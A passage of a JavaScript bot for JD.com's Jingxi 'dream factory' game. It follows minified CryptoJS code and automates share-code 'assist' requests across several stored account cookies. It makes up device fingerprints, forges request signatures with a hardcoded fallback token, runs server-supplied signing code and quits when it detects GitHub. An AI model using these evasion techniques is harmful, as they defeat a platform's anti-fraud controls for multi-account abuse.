t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('京喜工厂招工互助'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//通知级别 1=生产完毕可兑换通知;2=可兑换通知+生产超时通知+兑换超时通知;3=可兑换通知+生产超时通知+兑换超时通知+未选择商品生产通知(前提:已开通京喜工厂活动);默认第2种通知 +let notifyLevel = $.isNode() ? process.env.JXGC_NOTIFY_LEVEL || 2 : 2; +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = '', jdDreamFactoryShareArr = []; +const newShareCodes = [ + '' +]; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +$.newShareCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDreamFactory() + } + } + console.log(`\n开始账号内互助......`); + for (let j = 0; j < cookiesArr.length; j++) { + if (cookiesArr[j]) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = j + 1; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}:\n`); + await helpFriends(); + await $.wait(4000); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdDreamFactory() { + try { + await userInfo(); + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + $.newShareCode = [...(jdDreamFactoryShareArr || []), ...(newShareCodes || [])] + for (let code of $.newShareCode) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + jdDreamFactoryShareArr.push(data.user.encryptPin) + + + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) //$.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + //$.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + //$.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + if (`${notifyLevel}` === '3' || `${notifyLevel}` === '2') allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + // await exchangeProNotify() + } else { + //console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + //$.log(`\n\n商品生产已失效`) + //$.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + //if ($.isNode() && (`${notifyLevel}` === '3' || `${notifyLevel}` === '2')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + //console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + } else if (data.factoryList && !data.productionList) { + //console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if (nowTimes.getHours() === 12) { + //如按每小时运行一次,则此处将一天12点推送1次提醒 + //$.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + //if ($.isNode() && `${notifyLevel}` === '3') allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + // const url = `/dreamfactory/userinfo/GetUserInfoByPin?zone=dream_factory&pin=${pin}&sceneval=2`; + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + //做此判断,有时候返回factoryList为null + // resolve(data['data']['factoryList'][0]['factoryId']) + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + //console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + //console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = 